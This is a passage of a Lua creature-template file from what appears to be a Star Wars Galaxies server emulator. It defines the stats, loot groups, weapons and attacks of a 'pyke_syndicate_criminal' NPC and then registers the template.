baseHAM = 95000,
baseHAMmax = 125000,
armor = 2,
resists = {165,165,165,165,165,165,165,165,200},
meatType = "",
meatAmount = 0,
hideType = "",
hideAmount = 0,
boneType = "",
boneAmount = 0,
milk = 0,
tamingChance = 0.0,
ferocity = 0,
pvpBitmask = AGGRESSIVE + ATTACKABLE + ENEMY,
creatureBitmask = KILLER,
optionsBitmask = 128,
diet = HERBIVORE,
templates = {"object/mobile/dressed_black_sun_assassin.iff"},
lootGroups = {
{
groups = {
{group = "trash_common", chance = 10000000},
},
lootChance = 10000000
},
{
groups = {
{group = "trash_rare", chance = 10000000},
},
lootChance = 2000000
},
{
groups = {
{group = "death_watch_bunker_ingredient_binary", chance = 10000000},
},
lootChance = 1000000
},
{
groups = {
{group = "death_watch_bunker_ingredient_protective", chance = 10000000},
},
lootChance = 1000000
},
{
groups = {
{group = "tierone", chance = 1500000},
{group = "tiertwo", chance = 3500000},
{group = "tierthree", chance = 2500000},
{group = "tierdiamond", chance = 2500000},
},
lootChance = 3500000
},
},
weapons = {"mandalorian_weapons_heavy"},
reactionStf = "@npc_reaction/slang",
attacks = merge(pikemanmaster,tkamaster,marksmanmaster,pistoleermaster,carbineermaster,forcewielder)
}
CreatureTemplates:addCreatureTemplate(pyke_syndicate_criminal, "pyke_syndicate_criminal")
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.